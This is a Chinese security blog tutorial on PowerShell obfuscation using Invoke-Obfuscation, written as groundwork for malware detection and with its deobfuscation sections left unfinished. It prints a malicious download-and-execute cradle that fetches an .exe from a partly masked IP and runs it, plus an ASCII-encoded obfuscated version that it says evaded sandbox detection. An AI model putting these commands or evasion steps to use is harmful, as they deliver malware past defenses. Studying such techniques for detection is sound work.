[网络安全提高篇] 一二九.Powershell恶意代码检测 (5)混淆和反混淆 [上]

网络安全自学篇
专栏收录该内容
¥49.90
¥99.00
124 篇文章

2024新的战场,继续奋斗。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文介绍了如何利用MS Defender实现恶意样本家族批量标注。这篇文章将继续讲解Powershell恶意代码检测,主要包括PowerShell混淆与反混淆内容,首先结合Invoke-Obfuscation工具详细介绍PowerShell代码混淆方法,再结合PowerDecode工具阐述解混淆方法。该研究将为后续的恶意软件家族分类或溯源提供帮助。未完待续,基础性文章,希望您喜欢,且看且珍惜。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

提高篇:(自学系列100篇目录放在文章末尾)


一.混淆

1.Invoke-Obfuscation

Invoke-Obfuscation 是一个 PowerShell v2.0+ 兼容的 PowerShell 命令和脚本混淆器。

在这里插入图片描述

下面给出该工具的官网文档描述:

2015 年秋天,Invoke-Obfuscation的作者决定开始研究 PowerShell 语言的灵活性,并开始对各种方法进行分类,以完成大多数攻击者经常使用的一些常见技术。最初专注于编码命令(encoded command)和远程下载(remote download)cradle 语法。无论是在运行过程中,还是在 Security EID 4688 和 Sysmon 中记录内容的EID1事件日志中,作者发现各种转义字符,没有阻碍执行命令保存在命令行参数。

随后,作者系统地探索了在任何PowerShell命令或脚本中找到的各种“令牌(token)”的混淆方法。作者探索了执行字符串级混淆更晦涩的方法、包括各种编码加密技术(如 ASCII / 十六进制 / 八进制 / 二进制甚至 SecureString)。最后,PowerShell 启动技术以从 powershell.exe 抽象命令行参数,并将其推回父进程甚至祖父进程。

由于攻击者和商用恶意软件已经开始使用非常基本的混淆技术来隐藏 powershell.exe 命令行参数中的大部分命令。因此,作者开发了这个工具可以帮助蓝队(Blue Team)模拟混淆的命令,根据作者目前所知道的情况,在 PowerShell 2.0-5.0 中的语法中可以实现这些功能,这样他们就可以测试这些技术的检测能力。

  • 该工具旨在打破我们作为防御者可能对 PowerShell 命令如何出现在命令行上的任何假设。作者希望,除了更新 PowerShell 日志,包括模块(Module)、脚本块(ScriptBlock)和转录日志(Transcription logging),它会鼓励蓝队转向在命令行上寻找混淆指标器,因为这些源代码简化了由该工具生成的混淆技术的大部分工作。

Invoke-Obfuscation 在 Apache 2.0 许可下发布。

Release Notes:
v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.

v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering functionality to all applicable TOKEN obfuscation functions. Also added additional syntax options for setting variable values.

v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type casting with string obfuscation options for type name).

v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++. Also added additional (and simpler) array char conversion syntax for all ENCODING functions that does not require For-EachObject/%.

v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced randomized case for all components of all ENCODING functions as well as for PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), Maximized (3).

v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some randomization of WMIC command line arguments.

v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel):

  • Added CLI functionality: E.g., Invoke-Obfuscation -ScriptBlock {Write-Host ‘CLI FTW!’} -Command ‘Token\All\1, Encoding\1,Launcher\Stdin++\234,Clip’ -Quiet -NoExit
  • Added UNDO functionality to remove one layer of obfuscation at a time.
  • Added Process Argument Tree output for all launchers to aid defenders.
  • Added six GetMember alternate syntaxes for several SecureString members
  • …

v1.7 - 2017-03-03 nullcon (Goa, India):

  • Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
  • Added additional ExecutionContext wildcard variable strings

v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA): Added 2 new ENCODING options: Special Characters and Whitespace

v1.8.1 - 2017-12-19: Added COMPRESS function for easier conversion of multi-line scripts to a one-liner command while drastically reducing the command length for cmd.exe command line length limitation purposes.

v1.8.2 - 2018-01-04: Added AST obfuscation functions, which obfuscates by manipulating the structure of the AbstractSyntaxTree without using many special characters.


2.Powershell恶意样本

接着存在如下图所示的Powershell恶意样本。

在这里插入图片描述

该Powershell命令是从远程下载一个PE文件,并保存至本地环境中,再运行该恶意PE文件。

(New-Object System.Net.WebClient).DownloadFile('http://94.xxx.xxx.238/csrsv.exe',"$env:APPDATA\csrsv.exe");
Start-Process ("$env:APPDATA\csrsv.exe")

接下来,我们用微步沙箱进行简单的检测。

在这里插入图片描述

当样本包含完整的IP地址和路径时,微步沙箱检测其为高危恶意样本。显示如下图所示:

在这里插入图片描述

在这里插入图片描述


3.混淆具体操作

虽然所有的混淆层都已构建到单独的脚本中,但大多数用户会发现该 Invoke-Obfuscation 函数是探索和可视化混淆技术的最简单方法。Invoke-Obfuscation 的源代码托管在 Github,您可以从仓库中下载和查看它。

下载至本地后如下图所示:

在这里插入图片描述

第一步,安装Invoke-Obfuscation并启动。

  • Import-Module ./Invoke-Obfuscation.psd1
  • Invoke-Obfuscation

在这里插入图片描述

在这里插入图片描述

第二步,选择编码混淆,输入“ENCODING”。

Invoke-Obfuscation

            ____                 __
           /  _/___ _   ______  / /_____
           / // __ \ | / / __ \/ //_/ _ \______
         _/ // / / / |/ / /_/ / ,< /  __/_____/
        /______ /__|_________/_/|_|\___/         __  _
          / __ \/ /_  / __/_  ________________ _/ /_(_)___  ____
         / / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \
        / /_/ / /_/ / __/ /_/ (__  ) /__/ /_/ / /_/ / /_/ / / / /
        \____/_.___/_/  \__,_/____/\___/\__,_/\__/_/\____/_/ /_/

        Tool    :: Invoke-Obfuscation
        Author  :: Daniel Bohannon (DBO)
        Twitter :: @danielhbohannon
        Blog    :: http://danielbohannon.com
        Github  :: https://github.com/danielbohannon/Invoke-Obfuscation
        Version :: 1.8
        License :: Apache License, Version 2.0
        Notes   :: If(!$Caffeinated) {Exit}


HELP MENU :: Available options shown below:

[*]  Tutorial of how to use this tool             TUTORIAL
[*]  Show this Help Menu                          HELP,GET-HELP,?,-?,/?,MENU
[*]  Show options for payload to obfuscate        SHOW OPTIONS,SHOW,OPTIONS
[*]  Clear screen                                 CLEAR,CLEAR-HOST,CLS
[*]  Execute ObfuscatedCommand locally            EXEC,EXECUTE,TEST,RUN
[*]  Copy ObfuscatedCommand to clipboard          COPY,CLIP,CLIPBOARD
[*]  Write ObfuscatedCommand Out to disk          OUT
[*]  Reset ALL obfuscation for ObfuscatedCommand  RESET
[*]  Undo LAST obfuscation for ObfuscatedCommand  UNDO
[*]  Go Back to previous obfuscation menu         BACK,CD ..
[*]  Quit Invoke-Obfuscation                      QUIT,EXIT
[*]  Return to Home Menu                          HOME,MAIN


Choose one of the below options:

[*] TOKEN       Obfuscate PowerShell command Tokens
[*] AST         Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING      Obfuscate entire command as a String
[*] ENCODING    Obfuscate entire command via Encoding
[*] COMPRESS    Convert entire command to one-liner and Compress
[*] LAUNCHER    Obfuscate command args w/Launcher techniques (run once at end)


Invoke-Obfuscation> ENCODING

在这里插入图片描述

第三步,设置需要混淆的文件。

  • SET SCRIPTPATH data/example-001.ps1

在这里插入图片描述

第四步,设置采用ASCII码方式编码混淆。

在这里插入图片描述

此时,输出结果如下图所示。

在这里插入图片描述

由图可知,混淆转换为ASCII字符。并且起始位置为IEX字符,其中“$shellID[1]”为字符“I”,接下来依次为“E”和“X”。通过这种方式引入IEX执行命令,然后末尾 “[chAr][inT]$_)” 是该混淆伴随着解码器执行,它能成功绕过杀毒软件。

  • IEX(Invoke-Expression的别名):用来把字符串当作命令执行

在这里插入图片描述

Invoke-Expression
The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.

第五步,将文件输出。

在这里插入图片描述

混淆后的代码如下所示:

 .( $shellID[1]+$ShelLId[13]+'X')( "$(SeT-itEm 'varIable:OfS'  '' ) " + 
 [STrING](( 40 , 78 , 101 ,119,45,79, 98, 106 ,101, 99 , 116, 32, 83,121 ,
 115, 116,101, 109 ,46,78 ,101 ,116, 46,87,101 ,98,67 , 108 ,105,101,110 , 
 116 ,41,46 ,68,111 , 119, 110, 108 , 111 , 97,100,70 , 105 , 108, 101 , 
 40, 39 ,104 , 116 , 116, 112,58 , 47 , 47 ,57, 52 , 46 ,120 , 120,120, 
 46 , 120,120, 120,46 ,50,51, 56,47,99 , 115 ,114,115 , 118, 46, 101, 
 120,101, 39, 44,34, 36 , 101 , 110, 118 , 58, 65 , 80 , 80,68 ,65 ,84, 
 65,92 ,99,115 ,114 ,115 , 118 , 46 , 101, 120 , 101 , 34,41, 59, 83 , 
 116,97 ,114,116 , 45, 80,114 , 111,99,101 ,115 , 115,32, 40, 34 ,36 , 
 101, 110 , 118, 58, 65,80, 80,68,65,84, 65 ,92 , 99,115, 114, 115, 
 118,46, 101,120 , 101,34 ,41 )|% { ( [chAr][inT]$_)})+
 "$( Set-ITEM  'VArIaBLe:Ofs'  ' ' )") 

最终输出文件内容如下图所示。

在这里插入图片描述

最后,我们尝试将含完整IP地址的PS进行混淆,然后通过微步沙箱进行绕过检测。

在这里插入图片描述

经过混淆处理后,PS文件成功绕过了多种沙箱的检测。

在这里插入图片描述

补充:
我们还可以采用其它的混淆方式,比如AST混淆。
在这里插入图片描述
在这里插入图片描述


二.反混淆

未完待续!

1.PowerDecode


2.具体操作


三.检测混淆

未完待续!

1.Revoke-Ofuscation


2.具体操作


四.总结

写到这里,这篇文章就介绍完毕,下一篇会介绍解混淆。基础性文章,希望对您有所帮助。行路难,多歧路。感谢家人的陪伴,爱你们喔!

  • 一.混淆
    1.Invoke-Obfuscation
    2.Powershell恶意样本
    3.混淆具体操作
  • 二.反混淆
    1.PowerDecode
    2.具体操作
  • 三.检测混淆
    1.Revoke-Ofuscation
    2.具体操作

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2025-04-09 夜于火星 http://blog.csdn.net/eastmount/ )


VIP EDR后门检测原理与免杀技术实战解析 在网络安全领域,端点检测与响应(EDR)系统通过行为监控、内存分析和进程链追踪等技术,构建了动态的纵深防御体系。其核心原理在于对API调用序列、异常内存操作和可疑进程关系进行关联分析,从而识别威胁。这种技术价值在于能够有效应对日益复杂的网络攻击,尤其是在企业安全防护和高级威胁狩猎等应用场景中至关重要。为了绕过EDR的检测,攻击者会采用免杀技术,例如通过API调用混淆来隐藏恶意行为,或者利用无文件攻击技术,将恶意载荷隐藏在合法系统进程中。理解这些EDR检测机制和对应的免杀对抗策略,对于提升整体安全防御能力具有 开通可读全文·454 阅读·5 点赞·5 收藏 阅读全文

相关推荐

HW钓鱼样本深度解析:从攻击链分析到无害测试样本制作实战

网络钓鱼攻击是网络安全领域常见的社会工程学手段,其核心原理是利用伪装欺骗诱导用户执行恶意操作。在高级持续性威胁和实战攻防演练场景中,钓鱼攻击链已演变为包含侦察、武器化、投递、执行、安装、命令与控制等多个阶段的精细化作业。理解其技术价值在于能有效识别和防御利用Office宏、PowerShell、载荷分离等技术的定向攻击。通过静态分析提取宏代码特征,结合动态沙箱监控网络请求与进程行为,可以完整还原攻击链条。基于此,在安全可控环境中复现攻击手法,制作无害的教学测试样本,能深化对VBA宏、WinHttpReque

weixin_33831673的博客 302

Android隐私合规检测工具Camille:静态分析原理、实战应用与CI/CD集成指南

在移动应用开发领域,隐私合规已成为应用上架与持续运营的关键门槛。静态应用安全测试(SAST)作为一种重要的代码安全分析技术,通过在不运行程序的情况下分析源代码或编译后代码,来识别潜在的安全漏洞与合规风险。其核心原理是基于预定义的规则模式,对代码结构进行匹配与交叉验证,从而高效发现“未声明即使用”等违规代码模式。这项技术的核心价值在于能将合规检查左移,在开发与测试阶段提前发现问题,显著降低修复成本与监管风险。在Android应用隐私合规检测这一具体场景中,Camille正是这样一款基于SAST理念的开源工具。

weixin_30471561的博客 295

Mythos模型:端到端漏洞利用闭环能力的技术解析

大语言模型在网络安全领域的应用正从辅助分析迈向自主攻防闭环。其核心在于推理时动态计算编排、红蓝对抗式训练范式与分层对齐架构的协同演进。这类模型不再依赖人工规则或静态特征匹配,而是通过跨语言语义理解、符号逻辑与数值计算融合,在真实系统中完成漏洞定位、PoC构造、利用链生成与修复验证的全链路任务。Mythos作为典型代表,展现出远超传统SAST/DAST工具的语义级分析能力,尤其在未文档化API行为建模和长程多步协同推理方面具有突破性价值。该能力已延伸至金融风控逆向、工业固件漏洞挖掘等高价值场景,标志着AI安全

dfdfadsf3443的博客 431

[网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树(AST)提取

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树(AST)提取。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。

杨秀璋的专栏 1万+

[系统安全] 四十二.Powershell恶意代码检测系列 (4)论文总结及抽象语法树(AST)提取

系统安全将更好地帮助初学者了解病毒逆向分析和系统安全。前文分享了PowerShell和PowerSploit脚本攻击,进一步结合MSF漏洞利用来实现脚本攻击。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树(AST)提取。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。...

杨秀璋的专栏 4087

基于ENVI5.6与SARscape的哨兵一号时序InSAR实战:从数据准备到PS/SBAS结果解译

本文详细介绍了基于ENVI5.6与SARscape软件,利用哨兵一号(Sentinel-1)卫星数据,进行PS-InSAR与SBAS-InSAR时序分析,以监测地表形变的完整实战流程。内容涵盖从数据下载、软件配置、预处理、核心处理步骤到结果解译与质量评估,重点解析了PS与SBAS方法的关键参数设置、常见问题及解决方案,旨在帮助用户掌握从数据准备到成果分析的完整技术链条。

oo7890的博客 630

组合导航、惯导、GNSS、INS、IMU的区别

‌:惯性导航系统(INS)是一种利用安装在运载体上的陀螺仪和加速度计来测定运载体位置的系统。它通过测量物体的加速度和角速度,结合算法计算出物体的位置、速度和姿态‌12。‌。

wynn1123的博客 8013

告别卡顿!OBS Studio最佳录制参数设置指南(适合游戏/网课/会议场景)

本文提供OBS Studio录制参数优化指南,针对游戏、网课及会议三大场景,详细解析帧率、码率与编码器设置。重点推荐利用硬件编码器(如NVENC)实现游戏录制零卡顿,并分享清晰稳定的网课录制与长时间会议录制配置方案,助你告别视频卡顿与音画不同步问题。

e4f5g6h7的博客 1321

【目标检测】yoloV5算法详解

一、与yoloV4相比,yoloV5的改进 输入端:在模型训练阶段,使用了Mosaic数据增强、自适应锚框计算、自适应图片缩放 基准网络:使用了FOCUS结构和CSP结构 Neck网络:在Backbone和最后的Head输出层之间插入FPN_PAN结构 Head输出层:训练时的损失函数GIOU_Loss,预测筛选框的DIOU_nns 二、yoloV5结构框架 CBL:CBL模块是由Conv+BN+Leaky_relu激活函数组成 Res unit:借鉴ResNet中的残差结构,用来构建深层网络,CBM是

qq_40373651的博客 2万+

如何快速下载Gaia DR3星表数据?中国虚拟天文台镜像站保姆级教程

本文提供了一份详细的保姆级教程,指导用户如何通过中国虚拟天文台镜像站高速、稳定地下载Gaia DR3星表数据。文章详细介绍了镜像站的访问地址、数据组织结构,并给出了使用wget、aria2c等工具进行批量下载的实战策略,帮助国内用户避开国际网络延迟,高效获取近20亿颗天体的海量数据。

weixin_29231263的博客 273

用LangFuse+LangChain打造可观测的AI应用:从埋点到成本监控实战

本文详细介绍了如何将开源可观测性平台LangFuse深度集成到基于LangChain构建的AI应用中,特别是电商客服机器人场景。通过从基础SDK集成、提示词管理到成本监控的完整实战,帮助开发者实现对LLM应用内部工作流的清晰追踪、问题排查与费用分析,从而打造稳定、可控的生产级AI应用。

dapp9builder的博客 703

UE5接入在线直播视频源,如hls(m3u8)格式

UE5接入在线直播视频源

专注GIS开发 9481

【微服务】Spring Aop原理深入解析

spring原理深度解析

congge 1万+

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: [安全开源分享] Datacon24漏洞赛道冠军分享:vuln_wp —— 大模型赋能的漏洞自动化分析全解析(武大团队)
下一篇: [系统安全] 六十三.Powershell恶意代码检测系列 (6) 混淆和反混淆 [上]

双11狂欢大促

盲盒赢 定制羽绒服

开启惊喜盲盒,抽取你的专属好礼

— 惊喜奖品抢先看 —
Eastmount
Eastmount 优质创作者: python技术领域 优质创作者: python技术领域 领域专家: 数据科学与机器学习技术领域 领域专家: 数据科学与机器学习技术领域
博客等级 码龄15年 25万+粉丝 873原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eastmount

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值